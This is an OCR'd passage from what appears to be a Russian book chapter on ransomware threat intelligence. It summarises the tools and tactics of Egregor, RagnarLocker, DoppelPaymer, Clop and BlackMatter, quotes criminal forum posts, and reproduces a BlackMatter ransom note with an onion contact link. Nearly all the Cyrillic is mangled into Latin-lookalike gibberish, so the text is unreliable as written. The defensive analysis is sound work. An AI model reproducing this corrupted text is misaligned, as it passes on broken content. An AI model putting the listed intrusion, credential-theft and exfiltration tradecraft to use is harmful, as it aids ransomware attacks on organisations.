JIJ1s1 pa3BepThIBaHUS MIPOrPAMMBI-BBIMOIATEIIs APTHEPHI EEregor npruMEHsIIIA Pa3IMuHbIE METOAbI, OCHOBAHHBIEC
HA CKPUITAaX, B TOM YHUCJIE:

. 3noynotpebneHune Background Intelligent Transfer Service (BITS) ans 3arpy3ku nporpammbl-BbIMOraTens ¢
cepBepa, KOHTPO/ZIMPYEMOTO 3/1I0YMbILLUIEHHUKAMU, U ee 3anycka Yyepes rundli32;

. noAKntoyYeHue agncka C:\ yaaneHHOro Xxocrta B KayecTse 06Lero ceTeBoro pecypca, KonmpoBaHUue
nporpammbl-Bbimoratens B C:\Windows u 3anyck ¢ nomouubto rundll32;

. KOMMpOBaHME N 3anyCK Nporpammbl-BbiMmoraTens yepes ceaHc PowerShell Ha ynaneHHOM xocTe.

Kak BuguTe, gake OJuH OTYET MOXKET OBITh XOPOIIMM HCTOYHHUKOM HH(MOPMAIMU, HO JOIMOJHUTEIILHBIC JaHHbBIC
HUKOT'JIa HE TOMEINIAaroT.

JlaBaiiTe M3ydnM APYyroiu oT4eT, Ha 3TOT pa3 komnanuu Cybereason, o3arnasieHHbIN «Cybereason mpoTuB
nporpaMmmbl-BeIMoratenss Egregor» (Cybereason vs. Egregor Ransomware). Ot4der 10CTYIICH 1O
cceuike: https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware.

Ham Hy>KHO ITpoaHau3MpoBaTh OTYET, U3BJICUb JIAHHBIC, KOTOPBIX Y HAC €llie HeT, U mpeodpazoBaTth ux B CTI,
NPUMEHUMYIO HAa TPAKTHUKE.

Bo-miepBrix, n3 otuera Cybereason Mel BUAUM, 4TO ITapTHEPHI Egregor mory4yaroT nepBoHaYaIbHBIA TOCTYII K
IIeJICBBIM CETSAM HE TOIbKO uepe3 3apakeHus Qakbot, Ho Taxke yepe3 Ursnif u IcedID. Kak u Qakbot, 06a atu
CEMEMCTBA BPEIOHOCHBIX IIPOrpaMM paHbIIle ObLIH OAHKOBCKUMH TPOSTHAMHM, HO TEIEPh IITUPOKO MCIIOIb3YIOTCS
IS 3arPYy3KH JOMOJHUTEILHBIX HHCTPYMEHTOB. 3J10YMBIIIUICHHUKH YacTO pa3padaThiBalOT HOBBIC (DYHKIIHH,
4TOOBI UX aTaKW MPUHOCHUIIM BCE OOJIbIIIE M OOJIBIIE ITPUOBLIH.

Kpowme Toro, corimacHo otuery, oneparopsl Egregor ncnons3yror SharpHound (cOopiiuk JaHHBIX IS
BloodHound, koTopsiii 0OBIYHO IPUMEHSIETCS IEHTECTEPAMM 1 3JIOYMBIIIJICHHUKAMHM 151 [IOMCKA CBSI3EH B
Active Directory) aist coopa nH(poOpMaIuu o MoJIb30BaATEIAX, IPYIIAaX, KOMIIBIOTEpaX U T./I.

Hawm ynanoce coopats eme 6onpine CTI, HO 1aBaliTe U3y4ynM €I1e OAUH JOKYMEHT — 3TO

oruer Morphisec «Aranu3 nporpammbei-BeiMoraTeiiss Egregor» (An analysis of the Egregor ransomware). Otuer
JIOCTYIIEH 110

cceuike: https://www.morphisec.com/hubfs/eBooks and_ Whitepapers/EGREGOR%20REPORT%20WEB%20FI
NAL.pdf.

CoryiacHO 3TOMY OTYETY, MOJb30BaTEIN Egregor moiydniy nepBOHAYAIbLHBIN JTIOCTYIT YEPE3 YSI3BUMOCTH B
MEKCETEBOM PKpaHe, KOTOpas IM03BOJIMIAa UM ONACTh B BUPTYalbHYI0 YacTHYIO ceTh (VPN), To ecTh Ha 3TOT pa3
000ILIMCH 0€3 TPOSHOB.

3JI0YMBIIIJIEHHUKH UCIIOJIb30BAIM JIETUTHMHOE IIPOrpaMMHOE 00ecIiedeHMe JIJIsl yAAJICHHOT O JI0CTyIla, TaKoe
kak AnyDesk u SUPRemo, a1 coxpaneHus 0CTyIa K ckoMrpoMeTupoBadHoii cetn. B 2021 r. AnyDesk cran
OJITHUM M3 HauOoJIee pacpOCTPAaHEHHBIX HHCTPYMEHTOB 3J10YMBIIIICHHUKOB JJIsI PE3€PBHOI0 JIOCTYIIA.

YroOkI 3aBepIIaTh HeXKeIaTeIbHbIC IIPOIECCHl (HampuMep, IpUHaIIekKalue antuBupycaomy [10),
3JI0YMBIIUICHHUKH IPUMEHSUTH OCCIIaTHYI0 aHTHPYTKUT-yTuiuTy PowerTool, a g coopa nHpopmanuu o
CKOMIIPOMETHPOBAHHOM CeTH — IMOMYJISApHbBIN OecraTHbd nHCTpyMeHT SoftPerfect Network Scanner.

J1s momydeHusl YUSTHBIX JaHHBIX omepaTtophl Egregor ncnonp3oanu Mimikatz, emre oauH nonyIsipHbII
MHCTPYMEHT CIELUATUCTOB 110 TECTUPOBAHUIO HA MPOHUKHOBEHUE U 3JIOYMBIIIJICHHUKOB JIJIS1 U3BJICUCHUS U3
aMsTH Mapojeu u Apyroro ayreHTuduKamoHHoro Matepuana — xemeu, PIN-oB u ouneror Kerberos.



Kpaxxy JaHHBIX 3JI0YMBIIIJICHHUKH OCYIIECTBIISJIM Yepe3 pa3IMuHble 00JaUyHbIE CEPBUCHI, TAKHUE
kak WeTransfer u SendSpace, a taksxke MEGA Desktop App. Jli1st BEITOIHEHUS CLICHAPHEB Ha YIaJCHHBIX
XO0CTaX, Ha KOTOPBIX MPOMCXOIUII 3allyCK IIPOrpaMMbI-BbIMOIaTesl, B3JIOMIIIMKY MCII0Ib30Banu PsExec.

Hakomnerr, 4ToObI 3aMECTH CIIeIBl, 3I0YMBIIIJICHHUKY TpuMeHsan SDelete — yrunuty koMaH HON CTPOKH IS
yaajaeHus (panioB 0€3 BO3MOKHOCTH BOCCTAaHOBJIECHUA. JlaBaliTe 0000IMM pe3yJIbTaThl, TOJYUYCHHBIC U3 aHAIN3A
BCEX TPEX OTUYETOB.

. Onepatopbl Egregor nony4atoT nepBOHa4Ya AbHbIM A0CTYN, "MOO 3aparKkan LesieBble XOCTbl PA3/INYHbIMU
TPOAHAMM C NOMOLLbIO PULIMHIOBbIX Nncem, 1nbo yepes yassmumbie VPN.

. Onepatopbl Egregor ncnonb3yoT pa3/IMdHbie MEXaHWU3Mbl 3aKpPEenIeHUs, B TOM YUCAE NanKy aBTO3arpysKu,
KN4 Run cuctemHoro peectpa 1 3anjaHUPOBaAHHbIE 3a4a4N.

. Ana cbopa nHpopmaumnm o CKOMNPOMETUPOBAHHbIX ceTax u Active Directory onepatopsbl Egregor
ncnonb3ytot ADFind, SharpHound u SoftPerfect Network Scanner.

. Ha stane noctakcnayatauuun npumensetca Cobalt Strike.

. [AnAa ropnsoHTanbHOro nepemewleHnAa ncnonb3yrot RDP.

. [1nA BbINOZIHEHUA KOMaHA, U CKPUNTOB, B TOM YMUCae AN15 Pa3BepTbiBaHUA NPOrpamMmM-BbIMOraTenen,
onepaTopbl Egregor ncnonb3sytot PsExec.

. nA OTKNOYEHUA aHTUBUPYCHOrO NPOrpaMmHOro obecneyeHmnsa NPUMEHAOT rPYNMNOBbI€ NOJIUTUKN U
PowerTool; ana ynaneHnsa SCEP ncnonb3ytot scepinstall.exe.

. Cnomouwbto AnyDesk n SupRemo onepatopbl Egregor coxpaHAOT AOCTYN K CKOMMPOMETUPOBAHHOM CETW.

. Kpaxkn paHHbix ocywectnatotca yepe3 Rclone n MEGA Desktop App, a TakXe yepes pa3inyHbie 0b61a4Hble
CEePBUCHI.

. [1na pa3BepTbiBaHMA NMPOrpamm-BbiMoraTenemn anua, cealaHHble ¢ Egregor, ncnonb3ytot BITS, PowerShell,
obuwime cetesble pecypcbl u rundll32.

Kak BuauTe, aHaad3 OTYETOB OT PA3IMYHBIX KOMIIAHUH, 3aHUMAIOIINXCA KHOEpOe30MaCHOCThIO, IIOMOTAET
MTOJIYYUTh [IEHHBIE CBEACHUS O NEATEIILHOCTH JIUII, CBA3AHHBIX C IpOorpaMMaMu-BbIMoraresisimu, — 310 CT1,
KOTOPBIE Mbl MOKEM MCITOJIL30BaTh 151 MOBBIIICHUS Y(PPEKTUBHOCTH U YCKOPEHHUS pearupoBaHMs Ha
WHIIUJICHTHI.

Jlasmee MbI MOroBOpUM O TOM, Kak noiaydaTb CTI oT coobmecTBa knbepOEe301acHOCTH.

CooO1IEeCTBO

IIo BceMy Mupy paOOTaIOT THICSYH CIICHUAIMCTOB IO PEarupOBaHUIO HA MHIUJICHTbI, U, PA3yMEETCs, HEKOTOPhIE
M3 HUX OXOTHO JICNSATCS JAHHBIMU, HOJYYEHHBIMU B X0A€ paOO0Thl. MBI YK€ pacCMOTPENIM OTYETHI 00
HCCJIEIOBAHUM YIPO3, HO OOBIYHO HA MX CO3JIaHUE YXOJMT JIOBOJHHO MHOT'O BpeMeHH. I103TOMYy cieliuanucThl 1o
pearupoBaHUIO YaCTO UCHOJb3YIOT APYIUE INIAT(MOPMBI, ITI03BOJISIONINE KOPOTKO paccKa3aTh O TOM, YTO HOBOTO
onu y3Hanu. [lonynsgpHeimas MeauamiatgopMa 11t oOMeHa Takoi nHpopMarern — Twitter.

Eciv Bbl CTONKHYJIMCH C AQTAKOW C UCTIOJIb30BAHUEM IIPOTPAMMBI-BBIMOIATEIIS U YKE OIPEACIIAIN IITAMM, BbI
MO>KETE HAUTHU JIOBOJIbHO MHOT'O MH()OPMAIIMU O 3JI0YMBIIUICHHUKaX, BKIIo4Yas ux TTP. BaxkHee Bcero — MoOHSTH
3JIOYMBIIIJIEHHUKOB. OOBIYHO ONEepaTOpPhl IIPOrpaMM-BbIMOIaTeIed HCIOIb3YIOT Ha ONIPEACICHHBIX dTalax
KU3HEHHOTO IIMKJIA aTaKU BIIOJIHE KOHKPETHBIE HHCTPYMEHTHI U IPOLECCHI.

JlaBaiiTe HaYHEM C IporpaMMEI-BeIMorarens RagnarLocker m mocmoTpum Ha cneayromuii TBUT [luTepa

MakKeH3H, TUPEKTOpa [0 pearupOBaHUIO Ha MHIIMJICHTHI B KoMIanuu SOPhos (puc. 6.1): https://twitter.com/-
AltShiftPrtScn/status/1403707430765273095.

Yto MBI MOkKEM y3HaTh U3 3TOor0 TBUTA? IIpexae Bcero, Mbl BUAUM, UTO JIMIla, CBsI3aHHbBIe ¢ RagnarLocker,
BEpOSATHO, Hcnonb3yroT ProxyLogon (Common Vulnerabilities and Exposures, CVE — 2021-26855) nis
MOJIY4YE€HHUS IEPBOHAYAJILHOTO JOCTYyNa K CBOMM 1elisiM. ProxyLLogon — 310 ys3BuMocTh B Microsoft Exchange
Server, HO3BOJISIIONIAS 3JI0YMBIIIJIECHHUKY 000HTH ayTeHTH(UKALINIO U BBIJIATh CE0s 32 aAMMHUCTPATOPA.

Jlns cOopa mH(popMaium 0 BHyTpeHHEeH ceTu orepatopsl RagnarLocker ncnons3yror Advanced IP Scanner,
OecruiaTHEIN ceTeBol ckaHep oT Famatech Corp, KoTopslii JOBOILHO IOMYISPEH CPEIH MOJIb30BaTeIchH
pa3IM4YHbIX MporpaMm RaasS.



PeterM glu ahnF'n.u:n Jun u
For IR peopie #Ragnarl r using handybackup.net for exfiltration.
Persistence: Cooalt, ScreenConnem. Lateral Movement: Cobait/RDP,

Discovery: Advanced IP Scanner, Collection: Winrar, Large amounts of data
taken (T8's) in exfil. Ransom notes include links to screenshots.

oads\backup.exe

1p 8\HandyBacku|j§ le
1p 8\HandyBackuj d

1p 8\HandyBackuyj

p 8\HandyBaCRU|‘| lan dy Back:
1p 8\ws64\Handy
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PeterM @AItShiftPriScn - Jun12
Just spotted they are using WPaExec (a not §) to remotely install Cobalt
Services as well,

O 1 SR Qs

PeterM @AItShiftPriScn - Jun 14

Not confirmed yet, but looking likely as Proxylogon for initial access.

Q1 Q Qs <

Puc. 6.1. Teut o RagnarLockerl4

Kak 1 MHOTHE apyrue 3JI0yMBIIIICHHUKH, MapTHEPBI RagnarLocker mmpoko npuMenstoT Cobalt Strike Ha sTarne
MOCTAIKCIUTyaTalluy, BKJI0Yas TOpU30HTaIbLHOE IiepeMenieHue (Hapsay ¢ RDP). Jlns 3arpy3ku sK3eMIIIpoB Ha
yIaJICHHBIC XOCThI 3JI0YMBIIIICHHUKHA UCIIONL3YIOT PaEXeC, anbrepHaTuBy PsExec ot Sysinternals,
PacCIIpOCTPAHAEMYIO C OTKPBITBIM UCXOIHBIM KOJIOM.

Jl1a obecnieueHus pe3epBHOro J0CTYyNa K B3JIOMAaHHOM ceTu onepartopbl RagnarLocker

UCMoNIB3YyIOT SCreenConnect, ieruTUMHOE TpOorpaMMHOE 0OecCIIeUeHUE ISl YAJICHHOTO YIIPaBJICHUS.
310YMBIIUJIEHHUKY MOTYT NpUMEHATh Takoe 11O i1 1ocTyna K CKOMIPOMETUPOBAHHOM CETH, TAXKE €CIIU OHO
pa3paboTaHO JIs1 OOBIYHBIX 1ICIICH.

CoOpanHble KOH(DUACHIHANBHBIC JaHHBIC 3JJ0YMBIIUICHHUKN apXuBUPYIOT ¢ moMompio WINRAR u kpanyT ¢
nomorsio Handy Backup, kommepueckoro pemeHus 11 pe3epBHOTO KOMMMPOBAHUS, KOTOPOE YCTAaHABIMBAIOT Ha
IIEJIEBBIX XOCTaX. APXUBUPOBAHUE U 3aIIUTA MAPOJIEM YaCTO UCIIOJIb3YIOTCS 3JI0YMBIIIIJICHHUKAMHU Ha JTalle
skcPuibTpanuu. TeMm He MEHee UX MOKHO BBISIBUTh — JIJISI 3TOTO CYIIECTBYET MHOXKECTBO Pa3IUYHbBIX
UCTOYHUKOB YJIUK.

Kak BuauTe, 1ake U3 HECKOJIbKUX cooOIeHui B Twitter MOKHO MOJIYYUTh MHOI'O 1IEHHOM MH(pOpPMAIHH.
JlaBaiiTe N3y4nM JIPYro TBUT TOTO € aBTOpa (puc. 6.2).

PeterM @AItShiftPriScn - Apr 22
#DoppelPaymer using MediaFire.com for exfil, via a web browser. Other

TTPs include: Cobalt Strike, Rubeus, RealVNC, Putty, RDP, PowerShell,
BitsAdmin and gaining access to Hyper Visors and spinning up new virtual
machines to launch the ransomware from inside them.

Puc. 6.2. Tut o DoppelPaymerl5

Taxk >xe kKak u 3I0yYMBIIIIICHHUKH, padboraromue Ha RagnarLocker, ormeparoper DoppelPaymer aktusao
MCIOJB3YIOT A1 nocTakcmnyarauuu Cobalt Strike.

Kpome Toro, Mbl BUAUM, YTO 3JI0YMBIIIICHHUKH 3KCIUTYaTHPYIOT RUDEUS, 10BoIbHO MOy IsspHEBIH HaOOp
MHCTPYMEHTOB JIJIs B3auMoiericTBus ¢ Kerberos u ero kommpomeTaium.

E1ie oauH JIeruTUMHBIN HHCTPYMEHT YAAIICHHOT'O JIOCTYIIA, IPUMCHSIESMBIN 3710 yMBIILICHHUKAMH JIJIS
obecneueHus pesepBHoro pocryma, — TIghtVNC.

Haxkownern, oneparopsl DoppelPaymer ocyliecTBIISIIOT TOPU30HTAIbHOE epeMelleHre ¢ MoMoIbi0 RDP — 310
OYEHb PACIPOCTPAHEHHBIM METO/I, KCIOJIb3YEMbIN 3JI0YMBIIIICHHUKAMHY KaK 1 IIEPBOHAYAIILHOTO JOCTYIA, TaK
U 71 JOCTYyIA K YAAJIEHHBIM XOCTaM B LIEJIEBOM CETH.

HTEepeceH 1 METO I CO3JaHMs BUPTYyalbHON MamuHkI (Virtual machine, VM) mirst 3amycka mporpaMMbI-
BbIMOTraTesl BHyTpH Hee. [lepBoHadanbHO 3TOT MeTo1 ObLT onpoOOBaH naptHepamu Maze u RagnarLocker, HO B
HACTOSIIEe BpeMsl OH IIPUMEHSETCS U APYTUMHM I'pyniaMu, Bkirodas DoppelPaymer.



Kak 1 y MHOTHUX APYrUX 3J0yMBIIUIECHHUKOB, y oniepatopoB DoppelPaymer ecTh crieninaabHbIA CAUT YTEUKH
naHHbIX (DLS) — To ecTh OHM 3aHUMArOTCS Kpaked nHpopmanun. 13 aHaau3upyemMoro HCTOYHUKA BUJIHO, UTO
ISl XpaHeHUs JaHHBIX OHU MCIOIL3YIoT cepBuc MediaFire.

Kak BUIUTC, Mbl CMOI'JIX ITOJIYYUTHb MHOI'O HCHHBIX JTAHHBIX O 3JIOYMBIINIJICHHUKAX, IIPUYACTHLIX K dTdAKaM C
HCIIOJIb30OBAHUCM IIPOI'PAMMBI-BBIMOI'ATCIIAA, BCCI'O U3 OJHOI'O TBUTA.

JlaBaiiTe pacCMOTpPHM €IIe OJIHO COOOIEHKE, Ha ATOT pa3 TBUT Taxu Kapuma, nupekTopa 1o aHaiu3y yrpos
B Confiant.

taha karim 1
2lordxo4

Clop #ransomware #Kkillchain in one tweet: Phishing
email->Office Macro->net user /domain-> Flawed
Ammyy RAT->Cobaltstrike->SMB->BEACON-
>BADPIPE->Mimikatz->UAC bypass-> domain admin-
>SC manager->Clop dropped->ransom note. Another
ransomware group using commercial offensive tools.

Puc. 6.3. Teut o Clopl6

[IpuMeuaTeabHO, UTO ATOT TBUT HNOSBUIICS 3aJI0JIT0 JI0 TOr'0, KaK Oblia OIyOJIMKOBaHA Kakas-1u00 MH(pOpMaIus O
TTP oneparopon Clop.

Kak BuaHO 13 TBUTA, oniepaTtopbl Clop ucrnosb3oBain PUIIMHIOBbIE KAMIAHUH JIJIS 3apaKeHUsT CBOUX

xeptB FlawedAmmyy RAT. FlawedAmmyy — pacnpocTpaHeHHBII TPOSH yAaJICHHOr0O AocTyma (remote access
trojan, RAT), o6pruno npunuckiBaembiii TAS05. Otor RAT ocHOBaH Ha yredke HCXOAHOro kKoga Ammyy Admin
U TO3BOJISICT 3JI0YMBIIIJIEHHUKAM CKPBITO MAaHMUITYJIUPOBATh B3JIOMAHHBIM XOCTOM.

MBI yk€ 3HaeM, 4TO B CpEJie 3J0YMBIIUICHHUKOB 04eHb nonyisipeH Cobalt Strike, u mons3oBarenu Clop He
HCcKIoueHrue. Kak BUaUTE, OH MO3BOJISIET ATaKYIOIIUM O0XOIUTh KOHTPOJIb YYETHBIX 3aIIMCEM

nonb3oBatenei (User Account Control, UAC) u npuMeHSTh pacnpoCcTpaHSHHBIC HHCTPYMEHTHI JJaMIla YISTHBIX
JaHHBIX, Takue Kak Mimikatz. HecMoTps Ha TO, 4TO OH OCTaBJIsIET MHOTO CJI€/IOB, PACIIPOCTPAHUTEIIHN IIPOTrPAMM-
BBIMOTaTEJICH MPOJOIKAIOT AaKTUBHO €r0 AKCIIyaTUPOBATh.

Hakomner, 3 TBUTA CIAEAYET, YTO MoJib3oBaTeau Clop 3710ynoTpeOIsStoT JUCIIETICPOM YIIPABICHHUS
ciryx6amu (Service Control Manager, SCM) mist pa3BepThIBaHUS IIPOrPaMMbBI-BRIMOT AT B paMKaX BCETO
IPSAIPUSTHSL.

K coxanieHuto, He Bcerja MOKHO HOIYYUTh JOCTaTOYHO MH(popmanuu o TTP, ncnons3yeMbix
3JIOYMBIIIJICHHUKAMM B XOJ€ )KM3HEHHOI0 LIMKJa ataku. Kpome Toro, MoxeT 1moTpe0doBaThCsa HHPOpMALIHS O
camMou ImporpaMmme-BeiMoraresie. Bot TBut Annpes KaanoBa, KOTOPbIM aKTUBHO OTCJIEKMBAET

oOpa3ubl mporpaMmel-BeiMoraresis BlackMatter.



rivitna @rivitna2 - Oct 10

itBlackMatter v2.0 (build 2021-09-26 08:10:51)
virustotal.com/gui/file/ccee?...

company_id: 58c572785e542f3750b57601df612fc4
Options:

mount volumes, encrypt MS Exchange files

encrypt net share files

kill processes

stop and kill services
BLACK |
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22> What happens?
Your network is encrypted, and currently not operational.

We need only money, after payment we will give you a decryptor for the entire network and you
will restore all the data.

»>> What guarantees?
We are not a politically motivated group and we do not need anything other than your money.
If you pay, we will provide you the programs for decryption and we will delete your data.
1f we do not glve you decryplers or we do notl delete your data, no one will pay us In the
future, this does not comply with our goals.
We always keep our promises.

»>> How to contact with us?
1. Download and install TOR Browser (https://www.torproject.org/).
2. Open http://supplayy6atbhwszu2piygicgwzdtbwftb76htf j7vnipigetggnzxid.onion/YX6RXMCOSMRXBLLQ

Q () Q 1 &

Puc. 6.4. TBut o BlackMatterl7/

Kak BuauTe, B 3TOM TBUTE HE TaK MHOTO HHPopMaruu o TTP, HO 3aT0 €CcTh CChUIKA HA aHATM3UPYEMBIN 00pasell,
a TaK’Ke Koe-Kakasg MHGopManus o ero QyHKIIHOHAJIbHOCTH.

Twitter — ne enuHCTBEeHHAsI MeAnariaTdopma i cOopa TAaKOTO POJia AHATUTHKU: IPYTOU MOJIE3HBIN UCTOYHHUK
— LinkedIn. Kpome Toro, BBI Bceria MOKETE MOTIPOCHTh CBOUX KOJIJIET TI0 pearnpoBaHMIO Ha MHITUICHTHI 1
aHasMTUuKOB CTI mogenuThcst 0OOHAPYKEHHBIMU JTaHHBIMM, II0O3TOMY HE CTECHSWTECH Y4aCTBOBATH B IJI00AJIbHOM
COOOIIECTBE.

JlaBaiiTe pacCMOTPHUM el1e 00J1e€ MHTEPECHBIM MCTOUYHUK MOoye3HbIX CTI — camMux 3710 yMBIIIIIEHHUKOB.

3/1I0YMBILIJIECHHUKH

Kak BbI yKe 3HaeTe, 3Ta KHUTa MOCBSAIIECHA aTaKaM IIpOorpaMM-BbIMOIraTesieu, yrpaBiaieMbIX 4yeaoBekoM. Harm
MPOTUBHUKU — JIFOJI, & JIFOJIM OOIIAKOTCA U ASTISITCSI MH(OpMAIME, 1 BeCbMa 4acTO 3TO MPOUCXOIUT Ha
TEHEBBIX (POpyMax.

B sToMm paszaene Mbl n3yduM coodmieHus ¢ popymos, rmoaydueHHbIe miaTgopmoit Group-1B Threat Intelligence.

[TepBoIif TOCT, KOTOPBII MBI PACCMOTPHM, CO3JIaH 3JI0YMBIIUICHHUKOM ¢ IiceBroHuMoM FIShEye, o kotopom
M3BECTHO, 4TO OH cBsi3aH ¢ REvil, LockBit n HeKOTOpBIMU IpYrUMH NAPTHEPCKUMHU IIPOrpaMMaMH.

Kynnio akcn nog SonicWall ¢ peanusayuein u3asneyeHus Kpegos OT BMH.

Bawwu npegnoXeHusA B NM.

Caoenky npoBoOAMM Yepea rapaHT Kuaanbl MUMO.

3Halo YTO 3CKN eCTb Ha BoopyxeHuu y Conti M 3HaI0 YTO Takas peanu3auns CyLecTBYeT U 3TO He
VisualDoor.

() FishEye

Puc. 6.5. Iloct FishEye

3II0YMBINIICHHUK X0YET MOJYYUTh padoTaronuii SKCIUIONT Mt ysa3sumoctH B SonicWall VPN. On numer, 9o
omepaTopbl NporpaMmmMmbl-BeiMoraTesnss Contl yke UCIIOJIB3YIOT €TI0 B CBOMX KaMITaHUSX.

Ckopee Bcero, 3JI0YMBIIIJICHHUK UMEET B BUAY YA3BHMOCTh B IpoaykTax SonicWall Secure Mobile Access
(SMA) 100-i cepun (CVE-2021-20016). DTa ys13BEMOCTb MOXKET OBITh UCITOIb30BaHA YIAJICHHO U JACT
IPECTYITHUKAM JOCTYI K YYCTHBIM JAHHBIM, C IIOMOIIBI0 KOTOPBIX OHU IIPOHUKAIOT BO BHYTPEHHIOIO CETh U
UCITOJIB3YIOT UX Ha dTaIle IMTOCTIKCILIyaTalliH.

ClieAyromuii ocT, KOTOPBIA Mbl pACCMOTPHUM, IPUHAJICKUT MEYAIbHO U3BECTHOMY IipeacTtaBuTesro REvil mox
rncesgoHumMoM UNKN (puc. 6.6).



DTOT MNOCT NPHUTJIAIIACT K COTPpYJAHNYECTBY B Iporpamme RaaS REvil u onuceiBaeT TpeOOBaHUS K MapTHEPAM.
Bo-niepBbIx, Mbl BUAMM, YTO MOTCHIIMAIBHBIE YYACTHUKH JTOJKHBI YMETh pa00TaTh C TEXHOJIOTUSAMU PE3EPBHOTO
KOIMPOBAHUI — CETEBBIMHM (hailyioBpIMU XpaHuiuiamu (Network-attached storage, NAS) u HakonuTenssMu Ha
MarHuTHBIX JieHTax (tape-based data storage).

JocTynHo 3 cnoTa B 31yl0 paHCcoM napTHepky. 70/30 / 75/25

YMmeHue paborarb C:

+ nas;

+ tape;

+ msf/cs/koadic;

+ AD (e.x. kerberoasting);

+ hyper-y;

U BCe uTo KacaeTcs aTon chepbl. ECnu nopyuuTens U3 [enCTBYIOLMX HET - FOTOBbI B3ATb Ha
ABYXHeAeNbHbIW UCNIbITAaTeNbHbIW CPOK.

KoxTakT B M.

Puc. 6.6. IToct UNKN

Bo-BTOpBIX, 3JI0YMBIIUIEHHUK OTMEYAET, YTO IMTOTCHIIMAIbHBIC IAPTHEPHI JOJKHBI YMETh UCIOJIb30BATh
pa3aInvHble PPEUMBOPKH NOCTIKCILTyaTaluu. BOT HEKOTOPKIEC U3 HUX.

. Metasploit Framework
. Cobalt Strike
. Koadic

Kpome Toro, y4acTHUKH JOJKHBI YMETh BBINIOJHATH araku Ha Active Directory, B TOM uncie
ataxu Kerberoasting, mo3BoIsOIIHE 310YMBIIIJICHHUKAM U3BIICKATh XCIIIM YUYCTHBIX 3aIIMCEH CITYXKO U
MCII0JIb30BaTh UX JIJIS B3JI0MA MAPOJIe B aBTOHOMHOM PEXKUME.

Hakonel, MoCKOJIbKY MHOTHE COBPEMEHHBIE KOPIIOPATUBHBIE CETU UCHOJIB3YIOT BUPTYAJIU3ALMIO, YYACTHUKU
IOJDKHBI 3HaTh M YMETh aTaKOBAaTh TaKME TEXHOJOrnM, Kak Hyper-V.

Kak BuguTe, B HEKOTOPBIX CIy4asX 3JIOYMBIIIJICHHUKH JEJIATCS JTOBOJIBHO OOJBIIMM 00BEMOM HH(MOPMAIIUH O
noTeHuuanbHbIX TTP cBOMX MOIEIbHUKOB. HacTO OHU TAKKE KOMMEHTUPYIOT Pa3jIuYHbIE BOIIPOCHI,
oocykaaemble Ha (hopymax. Hanmpumep, BOT MHEHHE oniepaTopa nporpammel-BeiMorarens LockBit mox
ncepgoauMoM LOckBItSuUpp o meTomax kpaku TaHHBIX.

O6bIyHO BCe UCnonb3ayioT Relone ¢ yuéTHoM 3anucbio Ha mega.nz unu pcloud unu nio6om Apyrom
yao6HOM obnake, HO B HEKOTOPbIX NapTHEPCKUX NPOrpaMMax CyuecTByeT CBOW CTUNED, KOTOPbIK GepéT
aTy 3aiauy Ha ce0s, n36aBnan afBepToOB OT PYyTUHDbI C o6nakamm.

) LockBitSupp

Puc. 6.7. IToct LockBitSupp

310yMBIIIJICHHUK OIMCHIBAET MPOLIECC, HOMYJISIPHBIM y OIIepaTOPOB MpOrpaMM-BbIMOTaTeNICH IS KpaXK JTaHHBIX
13 B3JIOMaHHBIX ceTel. I1o cioBam aBTOpa nmocra, MOIIEHHUKH OOBIYHO MCIIOJIB3YIOT Rclone u yuetHble 3anucu
pPacIpOCTPaHCHHBIX OCTABIIMKOB 00auHbIX Xpanuiuil, Takux kak MEGA u pCloud. I1pu 3TOM OH mumier, 94To
HEKOTOpbIC IIporpaMmmMmbl RaaS npegiararot crienuaibHbIC POrpaMMBbI I Kpaky TaHHBIX (cTuiepbl). Ha camom
JCJIC OH IBITAaeTCs IpopekiaMupoBath StealBit, crieruaabHBIM HHCTPYMEHT JIJIS SKCPUILTPALIMH, IIpeAIaracMbIi
10JIb30BATEISIM IIporpamMmMbl-BeiMorareis LockBit.

Jpyroii moCT TOTO K€ 3JI0YMBIIICHHUKA MOCBSIIECH OTKJIOUYEHUI0 aHTUBUPYCHOI'O IPOIrPAMMHOT0 00ECICUCHUS
B MaciTadax mpeanpusIThsL.



OrTknoueHue AB no Bceu ceTu Hanpumep uepes GPO
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Puc. 6.8. IToct LockBitSupp

3noymnorpedienue oobekramu rpymnmnoBoi moautuku (Group Policy Objects, GPO) ncnons3yeTcs He TOIBKO I
OTKJIFOUEHHS TPOAYKTOB 0€30MaCHOCTH — ATO IIMPOKO PACIPOCTPAHEHHBINA CIIOCOO BBIMOJHEHUS Pa3IMYHbBIX
ClIEHapHEB B MaciuTadax npeanpustusi. CTOUT OTMETHUTh, 4YTO cama nmporpaMmma-BbeiMorarens LockBit umeer
BCTPOCHHYIO BO3MOKHOCTD 3J10YIOTPEOICHNSI 00hEKTaMH T'PYIIIOBOM MOJUTUKH JJIs PaCIPOCTPAHEHUS CBOMX
KOITMM Yepe3 KOPIOPATUBHYIO CETh.

[Tociennee coobIIeHNEe, KOTOPOE MBI paCCMOTPHUM, — 3TO ITOCT OJJHOTO M3 MOJIh30BaTEICH MPOTPaMMBbI-
BeiMorateniss LockBit mox nceBmormmom uhodiransomwar, npuBeieHHbBIN Ha pUCcyHKe 6.9.

MHOro TYT peGAT BLIZIAIOT MX 33 NPUBAT AOCTYNbLI B KOPMNbl U 1GN3I0T IHbIv Ha nabnuke , A NOAYMan 4To

HYXHO 3TO OCTaHOBMTD, NOSTOMY BbIKNAALIBALO )
CKPOLITHIA KOHTEHT ANA 32PErMCTPUPOBaHHbIX NONb30BaTENeH.
1800 ynasuMbiIx ¥ BbiKayeHHbix pulse vpn xttps://dropmefiles.com/cttVO

& xssis [T 03.08.2020 —12.08.2020 » 16 (B 27

uhodiransomwar

Puc. 6.9. Iloct uhodiransomwar

B 3T0#1 Oecesie 3JI0yMBIIIICHHUK ASIUTCS CIMCKOM CKOMIPOMETHUPOBaHHBIX cepBepoB Pulse Secure VPN,
KOTOPBIE IPYTUE B3JIOMIIMKHA MOTYT UCIIOJIb30BATh JJIs MOJYUYEHUS TIEPBOHAYAIIBHOTO JIOCTYIIA K CETSIM.
BepositHee Bcero, cepBepsl Obu1n ysa3BUMBbI 111 CVE-2019-11510, yTo mo3B0aMII0 3JI0YMBIIJICHHUKY HOTYYUTh
JIECUCTBUTEIbHBIC YUYETHBIC IaHHBIC, UCITOJb30BAB METOI UTCHHS MIPOU3BOJILHOTO (pailia.

Kak Buaute, Bo3MOHOCTEN 15t cOopa mose3Hbix CTI, KoTopble MOTYT 3HAUUTEIBHO OOJIETYUTH Bally padOTy IO
